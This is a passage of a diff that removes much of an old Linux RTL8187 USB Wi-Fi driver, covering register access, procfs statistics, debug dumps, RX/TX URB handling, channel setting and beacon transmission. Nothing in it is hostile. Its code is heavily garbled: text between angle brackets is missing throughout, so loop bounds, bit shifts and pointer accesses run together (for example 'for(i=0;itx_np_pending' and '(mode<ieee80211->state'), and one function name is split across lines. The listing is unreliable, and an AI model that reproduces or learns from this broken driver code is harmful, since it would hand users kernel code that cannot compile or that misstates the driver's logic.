usb_rcvctrlpipe(udev, 0), - RTL8187_REQ_GET_REGS, RTL8187_REQT_READ, - indx|0xff00, 0, &data, 1, HZ / 2); - return data; -} - -u8 read_nic_byte_E(struct net_device *dev, int indx) -{ - u8 data; - struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); - struct usb_device *udev = priv->udev; - - usb_control_msg(udev, usb_rcvctrlpipe(udev, 0), - RTL8187_REQ_GET_REGS, RTL8187_REQT_READ, - indx|0xfe00, 0, &data, 1, HZ / 2); - return data; -} - - -u16 read_nic_word(struct net_device *dev, int indx) -{ - u16 data; - struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); - struct usb_device *udev = priv->udev; - - usb_control_msg(udev, usb_rcvctrlpipe(udev, 0), - RTL8187_REQ_GET_REGS, RTL8187_REQT_READ, - indx|0xff00, 0, &data, 2, HZ / 2); - return data; -} - - -u32 read_nic_dword(struct net_device *dev, int indx) -{ - u32 data; - struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); - struct usb_device *udev = priv->udev; - - usb_control_msg(udev, usb_rcvctrlpipe(udev, 0), - RTL8187_REQ_GET_REGS, RTL8187_REQT_READ, - indx|0xff00, 0, &data, 4, HZ / 2); - return data; -} - -/* this might still called in what was the PHY rtl8185/rtl8187 common code - * plans are to possibilty turn it again in one common code... - */ -inline void force_pci_posting(struct net_device *dev) -{ -} - - -//irqreturn_t rtl8180_interrupt(int irq, void *netdev, struct pt_regs *regs); -//void set_nic_rxring(struct net_device *dev); -//void set_nic_txring(struct net_device *dev); -static struct net_device_stats *rtl8180_stats(struct net_device *dev); -void rtl8180_commit(struct net_device *dev); -void rtl8180_restart(struct net_device *dev); - -/**************************************************************************** - -----------------------------PROCFS STUFF------------------------- -*****************************************************************************/ - -static struct proc_dir_entry *rtl8180_proc = NULL; - -static int proc_get_registers(char *page, char **start, - off_t offset, int count, - int *eof, void *data) -{ - struct net_device *dev = data; -// struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); - - int len = 0; - int i,n; - - int max=0xff; - - /* This dump the current register page */ - for(n=0;n<=max;) - { - //printk( "\nD: %2x> ", n); - len += snprintf(page + len, count - len, - "\nD: %2x > ",n); - - for(i=0;i<16 && n<=max;i++,n++) - len += snprintf(page + len, count - len, - "%2x ",read_nic_byte(dev,n)); - - // printk("%2x ",read_nic_byte(dev,n)); - } - len += snprintf(page + len, count - len,"\n"); - - - - *eof = 1; - return len; - -} - -#if 0 -static int proc_get_stats_hw(char *page, char **start, - off_t offset, int count, - int *eof, void *data) -{ - struct net_device *dev = data; - struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); - - int len = 0; - - len += snprintf(page + len, count - len, - "NIC int: %lu\n" - "Total int: %lu\n", - priv->stats.ints, - priv->stats.shints); - - *eof = 1; - return len; -} -#endif - -static int proc_get_stats_tx(char *page, char **start, - off_t offset, int count, - int *eof, void *data) -{ - struct net_device *dev = data; - struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); - - int len = 0; - - len += snprintf(page + len, count - len, - "TX normal priority ok int: %lu\n" - "TX normal priority error int: %lu\n" -// "TX high priority ok int: %lu\n" -// "TX high priority failed error int: %lu\n" - "TX low priority ok int: %lu\n" - "TX low priority failed error int: %lu\n" - "TX queue resume: %lu\n" - "TX queue stopped?: %d\n" - "TX fifo overflow: %lu\n" -// "TX beacon: %lu\n" - "TX lp queue: %d\n" - "TX np queue: %d\n" - "TX HW queue: %d\n" - "TX lp dropped: %lu\n" - "TX np dropped: %lu\n" - "TX total data packets %lu\n", -// "TX beacon aborted: %lu\n", - priv->stats.txnpokint, - priv->stats.txnperr, -// priv->stats.txhpokint, -// priv->stats.txhperr, - priv->stats.txlpokint, - priv->stats.txlperr, - priv->stats.txresumed, - netif_queue_stopped(dev), - priv->stats.txoverflow, -// priv->stats.txbeacon, - atomic_read(&(priv->tx_lp_pending)), - atomic_read(&(priv->tx_np_pending)), - read_nic_byte(dev, TXFIFOCOUNT), - priv->stats.txlpdrop, - priv->stats.txnpdrop, - priv->stats.txdatapkt -// priv->stats.txbeaconerr - ); - - *eof = 1; - return len; -} - - - -static int proc_get_stats_rx(char *page, char **start, - off_t offset, int count, - int *eof, void *data) -{ - struct net_device *dev = data; - struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); - - int len = 0; - - len += snprintf(page + len, count - len, - "RX packets: %lu\n" - "RX urb status error: %lu\n" - "RX invalid urb error: %lu\n", - priv->stats.rxok, - priv->stats.rxstaterr, - priv->stats.rxurberr); - - *eof = 1; - return len; -} - - -static struct iw_statistics *r8180_get_wireless_stats(struct net_device *dev) -{ - struct r8180_priv *priv = ieee80211_priv(dev); - - return &priv->wstats; -} - -void rtl8180_proc_module_init(void) -{ - DMESG("Initializing proc filesystem"); - rtl8180_proc=create_proc_entry(RTL8187_MODULE_NAME, S_IFDIR, proc_net); -} - - -void rtl8180_proc_module_remove(void) -{ - remove_proc_entry(RTL8187_MODULE_NAME, proc_net); -} - - -void rtl8180_proc_remove_one(struct net_device *dev) -{ - struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); - if (priv->dir_dev) { - // remove_proc_entry("stats-hw", priv->dir_dev); - remove_proc_entry("stats-tx", priv->dir_dev); - remove_proc_entry("stats-rx", priv->dir_dev); - // remove_proc_entry("stats-ieee", priv->dir_dev); - // remove_proc_entry("stats-ap", priv->dir_dev); - remove_proc_entry("registers", priv->dir_dev); - remove_proc_entry(dev->name, rtl8180_proc); - priv->dir_dev = NULL; - } -} - - -void rtl8180_proc_init_one(struct net_device *dev) -{ - struct proc_dir_entry *e; - struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); - priv->dir_dev = create_proc_entry(dev->name, - S_IFDIR | S_IRUGO | S_IXUGO, - rtl8180_proc); - if (!priv->dir_dev) { - DMESGE("Unable to initialize /proc/net/rtl8187/%s\n", - dev->name); - return; - } - #if 0 - e = create_proc_read_entry("stats-hw", S_IFREG | S_IRUGO, - priv->dir_dev, proc_get_stats_hw, dev); - - if (!e) { - DMESGE("Unable to initialize " - "/proc/net/rtl8187/%s/stats-hw\n", - dev->name); - } - #endif - e = create_proc_read_entry("stats-rx", S_IFREG | S_IRUGO, - priv->dir_dev, proc_get_stats_rx, dev); - - if (!e) { - DMESGE("Unable to initialize " - "/proc/net/rtl8187/%s/stats-rx\n", - dev->name); - } - - - e = create_proc_read_entry("stats-tx", S_IFREG | S_IRUGO, - priv->dir_dev, proc_get_stats_tx, dev); - - if (!e) { - DMESGE("Unable to initialize " - "/proc/net/rtl8187/%s/stats-tx\n", - dev->name); - } - #if 0 - e = create_proc_read_entry("stats-ieee", S_IFREG | S_IRUGO, - priv->dir_dev, proc_get_stats_ieee, dev); - - if (!e) { - DMESGE("Unable to initialize " - "/proc/net/rtl8187/%s/stats-ieee\n", - dev->name); - } - - - e = create_proc_read_entry("stats-ap", S_IFREG | S_IRUGO, - priv->dir_dev, proc_get_stats_ap, dev); - - if (!e) { - DMESGE("Unable to initialize " - "/proc/net/rtl8187/%s/stats-ap\n", - dev->name); - } - #endif - - e = create_proc_read_entry("registers", S_IFREG | S_IRUGO, - priv->dir_dev, proc_get_registers, dev); - - if (!e) { - DMESGE("Unable to initialize " - "/proc/net/rtl8187/%s/registers\n", - dev->name); - } -} -/**************************************************************************** - -----------------------------MISC STUFF------------------------- -*****************************************************************************/ - -/* this is only for debugging */ -void print_buffer(u32 *buffer, int len) -{ - int i; - u8 *buf =(u8*)buffer; - - printk("ASCII BUFFER DUMP (len: %x):\n",len); - - for(i=0;itx_np_pending : &priv->tx_lp_pending); - - return (used < MAX_TX_URB); -} - -void tx_timeout(struct net_device *dev) -{ - struct r8180_priv *priv = ieee80211_priv(dev); - //rtl8180_commit(dev); - schedule_work(&priv->reset_wq); - //DMESG("TXTIMEOUT"); -} - - -/* this is only for debug */ -void dump_eprom(struct net_device *dev) -{ - int i; - for(i=0; i<63; i++) - DMESG("EEPROM addr %x : %x", i, eprom_read(dev,i)); -} - -/* this is only for debug */ -void rtl8180_dump_reg(struct net_device *dev) -{ - int i; - int n; - int max=0xff; - - DMESG("Dumping NIC register map"); - - for(n=0;n<=max;) - { - printk( "\nD: %2x> ", n); - for(i=0;i<16 && n<=max;i++,n++) - printk("%2x ",read_nic_byte(dev,n)); - } - printk("\n"); -} - -/**************************************************************************** - ------------------------------HW STUFF--------------------------- -*****************************************************************************/ - - -void rtl8180_irq_enable(struct net_device *dev) -{ - struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); - //priv->irq_enabled = 1; -/* - write_nic_word(dev,INTA_MASK,INTA_RXOK | INTA_RXDESCERR | INTA_RXOVERFLOW |\ - INTA_TXOVERFLOW | INTA_HIPRIORITYDESCERR | INTA_HIPRIORITYDESCOK |\ - INTA_NORMPRIORITYDESCERR | INTA_NORMPRIORITYDESCOK |\ - INTA_LOWPRIORITYDESCERR | INTA_LOWPRIORITYDESCOK | INTA_TIMEOUT); -*/ - write_nic_word(dev,INTA_MASK, priv->irq_mask); -} - - -void rtl8180_irq_disable(struct net_device *dev) -{ -// struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); - - write_nic_word(dev,INTA_MASK,0); - force_pci_posting(dev); -// priv->irq_enabled = 0; -} - - -void rtl8180_set_mode(struct net_device *dev,int mode) -{ - u8 ecmd; - ecmd=read_nic_byte(dev, EPROM_CMD); - ecmd=ecmd &~ EPROM_CMD_OPERATING_MODE_MASK; - ecmd=ecmd | (mode<ieee80211->state == IEEE80211_LINKED){ - - if (priv->ieee80211->iw_mode == IW_MODE_INFRA) - msr |= (MSR_LINK_MANAGED<ieee80211->iw_mode == IW_MODE_ADHOC) - msr |= (MSR_LINK_ADHOC<ieee80211->iw_mode == IW_MODE_MASTER) - msr |= (MSR_LINK_MASTER<chan=ch; - #if 0 - if(priv->ieee80211->iw_mode == IW_MODE_ADHOC || - priv->ieee80211->iw_mode == IW_MODE_MASTER){ - - priv->ieee80211->link_state = WLAN_LINK_ASSOCIATED; - priv->ieee80211->master_chan = ch; - rtl8180_update_beacon_ch(dev); - } - #endif - - /* this hack should avoid frame TX during channel setting*/ - tx = read_nic_dword(dev,TX_CONF); - tx &= ~TX_LOOPBACK_MASK; - -#ifndef LOOP_TEST - write_nic_dword(dev,TX_CONF, tx |( TX_LOOPBACK_MAC<rf_set_chan(dev,priv->chan); - mdelay(10); - write_nic_dword(dev,TX_CONF,tx | (TX_LOOPBACK_NONE<udev, - usb_rcvbulkpipe(priv->udev,0x81), rx_urb->transfer_buffer, - RX_URB_SIZE,rtl8187_rx_isr,dev); - err = usb_submit_urb(rx_urb, GFP_ATOMIC); - if(err && err != -EPERM){ - DMESGE("cannot submit RX command. URB_STATUS %x",rx_urb->status); - - } - -} - - -void rtl8187_rx_initiate(struct net_device *dev) -{ - int i; - struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); - - if(!priv->rx_urb) - DMESGE("Cannot intiate RX urb mechanism"); - for(i=0;irx_urb[i]); - -} - -void rtl8187_set_rxconf(struct net_device *dev) -{ - struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); - u32 rxconf; - - rxconf=read_nic_dword(dev,RX_CONF); - rxconf = rxconf &~ MAC_FILTER_MASK; - rxconf = rxconf | (1<flags & IFF_PROMISC) DMESG ("NIC in promisc mode"); - - if(priv->ieee80211->iw_mode == IW_MODE_MONITOR || \ - dev->flags & IFF_PROMISC){ - rxconf = rxconf | (1<ieee80211->iw_mode == IW_MODE_MASTER){ - rxconf = rxconf | (1<ieee80211->iw_mode == IW_MODE_MONITOR){ - rxconf = rxconf | (1<crcmon == 1 && priv->ieee80211->iw_mode == IW_MODE_MONITOR) - rxconf = rxconf | (1<card_8185){ - - txconf = txconf &~ (1<ieee80211->hw_seq) - txconf= txconf &~ (1<retry_data<retry_rts<dma_poll_mask); - rtl8180_set_mode(dev,EPROM_CMD_NORMAL); - */ -} - -#if 0 -void rtl8180_beacon_tx_enable(struct net_device *dev) -{ - struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); - priv->dma_poll_mask &=~(1<dma_poll_mask); - rtl8180_set_mode(dev,EPROM_CMD_NORMAL); -} - - -void rtl8180_ -_disable(struct net_device *dev) -{ - struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); - priv->dma_poll_mask |= (1<dma_poll_mask); - rtl8180_set_mode(dev,EPROM_CMD_NORMAL); -} - -#endif - - -void rtl8180_rtx_disable(struct net_device *dev) -{ - u8 cmd; - int i; - struct r8180_priv *priv = ieee80211_priv(dev); - - cmd=read_nic_byte(dev,CMD); - write_nic_byte(dev, CMD, cmd &~ \ - ((1<rx_urb){ - for(i=0;irx_urb[i]); - } - /*while (read_nic_byte(dev,CMD) & (1<rx_skb_complete) -// dev_kfree_skb_any(priv->rx_skb); -} - - -int alloc_tx_beacon_desc_ring(struct net_device *dev, int count) -{ - #if 0 - int i; - u32 *tmp; - struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); - - priv->txbeaconring = (u32*)pci_alloc_consistent(priv->pdev, - sizeof(u32)*8*count, - &priv->txbeaconringdma); - if (!priv->txbeaconring) return -1; - for (tmp=priv->txbeaconring,i=0;itxbeaconringdma+((i+1)*8*4); - else - *(tmp+4) = (u32)priv->txbeaconringdma; - - tmp=tmp+8; - } - #endif - return 0; -} - - -void rtl8180_reset(struct net_device *dev) -{ - - u8 cr; - - /* make sure the analog power is on before - * reset, otherwise reset may fail - */ - rtl8180_set_anaparam(dev, RTL8225_ANAPARAM_ON); - rtl8185_set_anaparam2(dev, RTL8225_ANAPARAM2_ON); - - rtl8180_irq_disable(dev); - - mdelay(200); - write_nic_byte_E(dev,0x18,0x10); - write_nic_byte_E(dev,0x18,0x11); - write_nic_byte_E(dev,0x18,0x00); - mdelay(200); - - cr=read_nic_byte(dev,CMD); - cr = cr & 2; - cr = cr | (1<11) return 0; - return rtl_rate[rate]; -} - - -void rtl8187_rx_isr(struct urb *rx_urb, struct pt_regs *regs) -{ - struct net_device *dev = (struct net_device*)rx_urb->context; - struct r8180_priv *priv = ieee80211_priv(dev); - - priv->rxurb_task = rx_urb; -// DMESGW("David: Rx tasklet start!"); - tasklet_schedule(&priv->irq_rx_tasklet); -// DMESGW("=David: Rx tasklet finish!"); -} - -#if 0 -void rtl8180_tx_queues_stop(struct net_device *dev) -{ - //struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); - u8 dma_poll_mask = (1<dma_poll_mask |= (1<dma_poll_mask); - rtl8180_set_mode(dev,EPROM_CMD_NORMAL); - #endif -} - - -void rtl8180_data_hard_resume(struct net_device *dev) -{ - // FIXME !! - #if 0 - struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); - priv->dma_poll_mask &= ~(1<dma_poll_mask); - rtl8180_set_mode(dev,EPROM_CMD_NORMAL); - #endif -} - - -/* this function TX data frames when the ieee80211 stack requires this. - * It checks also if we need to stop the ieee tx queue, eventually do it - */ -void rtl8180_hard_data_xmit(struct sk_buff *skb, struct net_device *dev, int rate) -{ - struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); - - short morefrag = 0; - unsigned long flags; - struct ieee80211_hdr *h = (struct ieee80211_hdr *) skb->data; - - if (le16_to_cpu(h->frame_ctl) & IEEE80211_FCTL_MOREFRAGS) - morefrag = 1; -// DMESG("%x %x", h->frame_ctl, h->seq_ctl); - /* - * This function doesn't require lock because we make - * sure it's called with the tx_lock already acquired. - * this come from the kernel's hard_xmit callback (trought - * the ieee stack, or from the try_wake_queue (again trought - * the ieee stack. - */ - spin_lock_irqsave(&priv->tx_lock,flags); - - //DMESG("TX"); - if (!check_nic_enought_desc(dev, LOW_PRIORITY)){ - DMESG("Error: no TX slot "); - ieee80211_stop_queue(priv->ieee80211); - } - - rtl8180_tx(dev, (u32*)skb->data, skb->len, LOW_PRIORITY, morefrag, - ieeerate2rtlrate(rate)); - - priv->stats.txdatapkt++; - - if (!check_nic_enought_desc(dev, LOW_PRIORITY)) - ieee80211_stop_queue(priv->ieee80211); - - spin_unlock_irqrestore(&priv->tx_lock,flags); - -} -#if 0 -/* This is a rough attempt to TX a frame - * This is called by the ieee 80211 stack to TX management frames. - * If the ring is full packet are dropped (for data frame the queue - * is stopped before this can happen). - */ -int rtl8180_hard_start_xmit(struct sk_buff *skb,struct net_device *dev) -{ - struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); - int ret; - unsigned long flags; - - spin_lock_irqsave(&priv->tx_lock,flags); - - ret = rtl8180_tx(dev, (u32*)skb->data, skb->len, NORM_PRIORITY, 0,DEFAULT_BASICRATE); -/* - int i; - for(i=0;ilen;i++) - printk("%x ", skb->data[i]); - printk("--------------------\n"); -*/ - priv->ieee80211->stats.tx_bytes+=skb->len; - priv->ieee80211->stats.tx_packets++; - - spin_unlock_irqrestore(&priv->tx_lock,flags); - - dev_kfree_skb_any(skb); - return ret; -} -#endif - -#if 0 -// longpre 144+48 shortpre 72+24 -u16 rtl8180_len2duration(u32 len, short rate,short* ext) -{ - u16 duration; - u16 drift; - *ext=0; - - switch(rate){ - case 0://1mbps - *ext=0; - duration = ((len+4)<<4) /0x2; - drift = ((len+4)<<4) % 0x2; - if(drift ==0 ) break; - duration++; - break; - - case 1://2mbps - *ext=0; - duration = ((len+4)<<4) /0x4; - drift = ((len+4)<<4) % 0x4; - if(drift ==0 ) break; - duration++; - break; - - case 2: //5.5mbps - *ext=0; - duration = ((len+4)<<4) /0xb; - drift = ((len+4)<<4) % 0xb; - if(drift ==0 ) - break; - duration++; - break; - - default: - case 3://11mbps - *ext=0; - duration = ((len+4)<<4) /0x16; - drift = ((len+4)<<4) % 0x16; - if(drift ==0 ) - break; - duration++; - if(drift > 6) - break; - *ext=1; - break; - } - - return duration; -} -#endif - -void rtl8180_try_wake_queue(struct net_device *dev, int pri); - -void rtl8187_lptx_isr(struct urb *tx_urb, struct pt_regs *regs) -{ - struct net_device *dev = (struct net_device*)tx_urb->context; - struct r8180_priv *priv = ieee80211_priv(dev); - if(tx_urb->status == 0) - priv->stats.txlpokint++; - else - priv->stats.txlperr++; - kfree(tx_urb->transfer_buffer); - usb_free_urb(tx_urb); - atomic_dec(&priv->tx_lp_pending); - rtl8180_try_wake_queue(dev,LOW_PRIORITY); -} - - -void rtl8187_beacon_stop(struct net_device *dev) -{ - u8 msr, msrm, msr2; - msr = read_nic_byte(dev, MSR); - msrm = msr & MSR_LINK_MASK; - msr2 = msr & ~MSR_LINK_MASK; - if ((msrm == (MSR_LINK_ADHOC<ieee80211->current_network; - - - write_nic_dword(dev,BSSID,((u32*)net->bssid)[0]); - write_nic_word(dev,BSSID+4,((u16*)net->bssid)[2]); - //for(i=0;ibssid[i]); - - rtl8180_update_msr(dev); - -// rtl8180_set_mode(dev,EPROM_CMD_CONFIG); - write_nic_word(dev, AtimWnd, 2); - write_nic_word(dev, AtimtrItv, 100); - write_nic_word(dev, BEACON_INTERVAL, net->beacon_interval); - write_nic_word(dev, BcnIntTime, 100); - - -} - -void rtl8187_beacon_tx(struct net_device *dev) -{ - - struct r8180_priv *priv = ieee80211_priv(dev); - struct sk_buff *skb; - int i = 0; - - rtl8187_net_update(dev); - - skb = ieee80211_get_beacon(priv->ieee80211); - - - if(!skb){ - DMESG("not enought memory for allocating beacon"); - return; - } - -#if 0 - while(MAX_TX_URB!=atomic_read(&priv->tx_np_pending)){ - msleep_interruptible_rtl(HZ/2); - if(i++ > 20){ - DMESG("get stuck to wait EP3 become ready"); - return ; - } - } -#endif - write_nic_byte(dev, BQREQ, read_nic_byte(dev, BQREQ) | (1<<7)); - - i=0; - //while(!read_nic_byte(dev,BQREQ & (1<<7))) - while( (read_nic_byte(dev, BQREQ) & (1<<7)) == 0 ) - { - msleep_interruptible_rtl(HZ/2); - if(i++ > 10){ - DMESG("get stuck to wait HW beacon to be ready"); - return ; - } - } - - rtl8180_tx(dev, (u32*)skb->data, skb->len, NORM_PRIORITY, - 0, priv->ieee80211->basic_rate); - -} - -void rtl8187_nptx_isr(struct urb *tx_urb, struct pt_regs *regs) -{ - struct net_device *dev = (struct net_device*)tx_urb->context; - struct r8180_priv *priv = ieee80211_priv(dev); - if(tx_urb->status == 0) - priv->stats.txnpokint++; - else - priv->stats.txnperr++; - kfree(tx_urb->transfer_buffer); - usb_free_urb(tx_urb); - atomic_dec(&priv->tx_np_pending); - //rtl8180_try_wake_queue(dev,NORM_PRIORITY); -} - - -/* This function do the real dirty work: it sends a TX command - * descriptor plus data URB - */ - -short rtl8180_tx(struct net_device *dev, u32* txbuf, int len, priority_t priority, - short morefrag, short rate) -{ - u32 *tx; -// u16 duration; -// short ext; - int pend ; - int status; - struct urb *tx_urb; - int urb_len; - struct r8180_priv *priv = ieee80211_priv(dev); -// int rate = ieeerate2rtlrate(priv->ieee80211->rate); - - pend = atomic_read((priority == NORM_PRIORITY)? &priv->tx_np_pending : &priv->tx_lp_pending); - /* we are locked here so the two atomic_read and inc are executed without interleaves */ - if( pend > MAX_TX_URB){ - if(priority == NORM_PRIORITY) - priv->stats.txnpdrop++; - else - priv->stats.txlpdrop++; - return -1; - } - - - //tx = kmalloc((len + 4*3), GFP_ATOMIC); - urb_len = len + 4*3; - if((0 == urb_len%64)||(0 == urb_len%512)) { - urb_len += 1; - } - tx = kmalloc(urb_len, GFP_ATOMIC); - if(!tx) return -ENOMEM; -printk(KERN_WARNING "urb_len = %d\n", urb_len); - tx_urb = usb_alloc_urb(0,GFP_ATOMIC); - - if(!tx_urb){ - - kfree(tx); - return -ENOMEM; - } - - memcpy(tx+3,txbuf,len); - tx[0] = 0; - tx[0] |= len & 0xfff; - tx[0] |= (1<<15); - -// if(priv->shortpre) -// tx[0] |= (1<<16); - - //if(len > priv->rts_threshold){ -// tx[0] |= (1<<23); //ENABLE RTS -// tx[0] |= (1<<18); //ENABLE CTS - //} - if(morefrag) tx[0] |= (1<<17); - tx[0] |= (ieeerate2rtlrate(priv->ieee80211->basic_rate) << 19); /* RTS RATE - should be basic rate */ - tx[0] |= (rate << 24); - tx[1] = 0; - -// duration = rtl8180_len2duration(len, -// rate,&ext); -// tx[1] |= (duration & 0x7fff) <<16; -// if(ext) tx[1] |= (1<<31); - - -// tx[2] = 0x303020; - tx[2] = 3; // CW min - tx[2] |= (7<<4); //CW max - tx[2] |= (11<<8);//(priv->retry_data<<8); //retry lim - -// printk("%x\n%x\n",tx[0],tx[1]); - - #ifdef DUMP_TX - int i; - printk("--rate %x---",rate); - for (i = 0; i < (len + 3); i++) - printk("%2x", ((u8*)tx)[i]); - printk("---------------\n"); - #endif - - - /* FIXME check what EP is for low/norm PRI */ - usb_fill_bulk_urb(tx_urb,priv->udev, - usb_sndbulkpipe(priv->udev,(priority == LOW_PRIORITY) ? 2:3), tx, - urb_len, (priority == LOW_PRIORITY)?rtl8187_lptx_isr:rtl8187_nptx_isr, dev); - status = usb_submit_urb(tx_urb, GFP_ATOMIC); - if (!status){ - atomic_inc((priority == NORM_PRIORITY)? &priv->tx_np_pending : &priv->tx_lp_pending); - return 0; - }else{ - DMESGE("Error TX URB %d, error %d", - atomic_read((priority == NORM_PRIORITY)? &priv->tx_np_pending : &priv->tx_lp_pending), - status); - return -1; - } -} - - - -void rtl8180_irq_rx_tasklet(struct r8180_priv * priv); - - -short rtl8187_usb_initendpoints(struct net_device *dev) -{ - struct r8180_priv *priv = ieee80211_priv(dev); - int i; - - priv->rx_urb = (struct urb**) kmalloc (sizeof(struct urb*) * MAX_RX_URB, GFP_KERNEL); - - for(i=0;irx_urb[i] = usb_alloc_urb(0,GFP_KERNEL); - if(!priv->rx_urb[i]) - goto destroy; - - priv->rx_urb[i]->transfer_buffer = kmalloc(RX_URB_SIZE, GFP_KERNEL); - if(!priv->rx_urb[i]->transfer_buffer) - goto destroy1; - - priv->rx_urb[i]->transfer_buffer_length = RX_URB_SIZE; - } - - return 0; - -destroy1: - usb_free_urb(priv->rx_urb[i]); - -destroy: - while (--i >= 0){ - kfree(priv->rx_urb[i]->transfer_buffer); - usb_free_urb(priv->rx_urb[i]); - } - - kfree(priv->rx_urb); - - priv->rx_urb = NULL; - DMESGE("Endpoint Alloc Failure"); - return -ENOMEM; - -} - -void rtl8187_usb_deleteendpoints(struct net_device *dev) -{ - struct r8180_priv *priv = ieee80211_priv(dev); - int i; - - if(priv->rx_urb){ - for(i=0;irx_urb[i]); - kfree(priv->rx_urb[i]->transfer_buffer); - usb_free_urb(priv->rx_urb[i]); - } - kfree(priv->rx_urb); - priv->rx_urb = NULL; - - } - -} - - -void rtl8187_set_rate(struct net_device *dev) -{ - int i; - u16 word; - int basic_rate,min_rr_rate,max_rr_rate; - -// struct r8180_priv *priv = ieee80211_priv(dev); - - //if (ieee80211_is_54g(priv->ieee80211->current_network) && -// priv->ieee80211->state == IEEE80211_LINKED){ - basic_rate = ieeerate2rtlrate(240); - min_rr_rate = ieeerate2rtlrate(60); - max_rr_rate = ieeerate2rtlrate(240); - -// -// }else{ -// basic_rate = ieeerate2rtlrate(20); -// min_rr_rate = ieeerate2rtlrate(10); -// max_rr_rate = ieeerate2rtlrate(110); -// } - - write_nic_byte(dev, RESP_RATE, - max_rr_rate<beacon_interval); - rtl8187_net_update(dev); - /*update timing params*/ - rtl8180_set_chan(dev, priv->chan); - - rtl8187_set_rxconf(dev); -} - -void rtl8180_irq_rx_tasklet(struct r8180_priv *priv); - -short rtl8180_init(struct net_device *dev) -{ - - struct r8180_priv *priv = ieee80211_priv(dev); - int i, j; - u16 word; - int ch; - //u16 version; - //u8 hw_version; - //u8 config3; - - //FIXME: these constants are placed in a bad pleace. - -// priv->txbuffsize = 1024; -// priv->txringcount = 32; -// priv->rxbuffersize = 1024; -// priv->rxringcount = 32; -// priv->txbeaconcount = 3; -// priv->rx_skb_complete = 1; - //priv->txnp_pending.ispending=0; - /* ^^ the SKB does not containt a partial RXed - * packet (is empty) - */ - - if(!channels){ - DMESG("No channels, aborting"); - return -1; - } - ch=channels; - // set channels 1..14 allowed in given locale - for (i=1; i<=14; i++) { - (priv->ieee80211->channel_map)[i] = (u8)(ch & 0x01); - ch >>= 1; - } - //memcpy(priv->stats,0,sizeof(struct Stats)); - - //priv->irq_enabled=0; - -// priv->stats.rxdmafail=0; - priv->stats.txrdu=0; -// priv->stats.rxrdu=0; -// priv->stats.rxnolast=0; -// priv->stats.rxnodata=0; - //priv->stats.rxreset=0; - //priv->stats.rxwrkaround=0; -// priv->stats.rxnopointer=0; - priv->stats.txnperr=0; - priv->stats.txresumed=0; -// priv->stats.rxerr=0; -// priv->stats.rxoverflow=0; -// priv->stats.rxint=0; - priv->stats.txnpokint=0; - /*priv->stats.txhpokint=0; - priv->stats.txhperr=0;*/ - priv->stats.rxurberr=0; - priv->stats.rxstaterr=0; - priv->stats.txoverflow=0; - priv->stats.rxok=0; -// priv->stats.txbeaconerr=0; - priv->stats.txlperr=0; - priv->stats.txlpokint=0; - - priv->ieee80211->iw_mode = IW_MODE_INFRA; - - priv->retry_rts = DEFAULT_RETRY_RTS; - priv->retry_data = DEFAULT_RETRY_DATA; - priv->ieee80211->rate = 110; //11 mbps - priv->ieee80211->short_slot = 1; - priv->ieee80211->mode = IEEE_G; - priv->promisc = (dev->flags & IFF_PROMISC) ? 1:0; - spin_lock_init(&priv->tx_lock); - INIT_WORK(&priv->reset_wq,(void(*)(void*)) rtl8180_restart,dev); - sema_init(&priv->wx_sem,1); - tasklet_init(&priv->irq_rx_tasklet, - (void(*)(unsigned long))rtl8180_irq_rx_tasklet, - (unsigned long)priv); - - //priv->ieee80211->func = - // kmalloc(sizeof(struct ieee80211_helper_functions),GFP_KERNEL); - //memset(priv->ieee80211->func, 0, - // sizeof(struct ieee80211_helper_functions)); - priv->ieee80211->current_network.beacon_interval = DEFAULT_BEACONINTERVAL; - priv->ieee80211->iw_mode = IW_MODE_INFRA; - priv->ieee80211->softmac_features = IEEE_SOFTMAC_SCAN | - IEEE_SOFTMAC_ASSOCIATE | IEEE_SOFTMAC_PROBERQ | - IEEE_SOFTMAC_PROBERS | IEEE_SOFTMAC_TX_QUEUE | - /*IEEE_SOFTMAC_BEACONS | */IEEE_SOFTMAC_SINGLE_QUEUE; - - priv->ieee80211->active_scan = 1; - priv->ieee80211->rate = 110; //11 mbps - priv->ieee80211->modulation = IEEE80211_CCK_MODULATION | IEEE80211_OFDM_MODULATION; - priv->ieee80211->host_encrypt = 1; - priv->ieee80211->host_decrypt = 1; - priv->ieee80211->start_send_beacons = rtl8187_beacon_tx; - priv->ieee80211->stop_send_beacons = rtl8187_beacon_stop; - //priv->ieee80211->softmac_hard_start_xmit = rtl8180_hard_start_xmit; - priv->ieee80211->softmac_hard_start_xmit = NULL; - priv->ieee80211->set_chan = rtl8180_set_chan; - priv->ieee80211->link_change = rtl8187_link_change; - priv->ieee80211->softmac_data_hard_start_xmit = rtl8180_hard_data_xmit; - priv->ieee80211->data_hard_stop = rtl8180_data_hard_stop; - priv->ieee80211->data_hard_resume = rtl8180_data_hard_resume; - //priv->ieee80211->start_send_beacons = NULL; - //priv->ieee80211->stop_send_beacons = NULL; - - priv->ieee80211->fts = DEFAULT_FRAG_THRESHOLD; - - priv->card_8185 = 2; - priv->phy_ver = 2; - priv->card_type = USB; - - #if 0 - hw_version =( read_nic_dword(dev, TCR) & TCR_HWVERID_MASK)>>TCR_HWVERID_SHIFT; - - switch (hw_version){ - case HW_VERID_R8185_ABC: - DMESG("MAC controller is a RTL8185 b/g"); - priv->card_8185 = 1; - /* you should not find a card with 8225 PHY ver < C*/ - priv->phy_ver = 2; - break; - - case HW_VERID_R8185_D: - 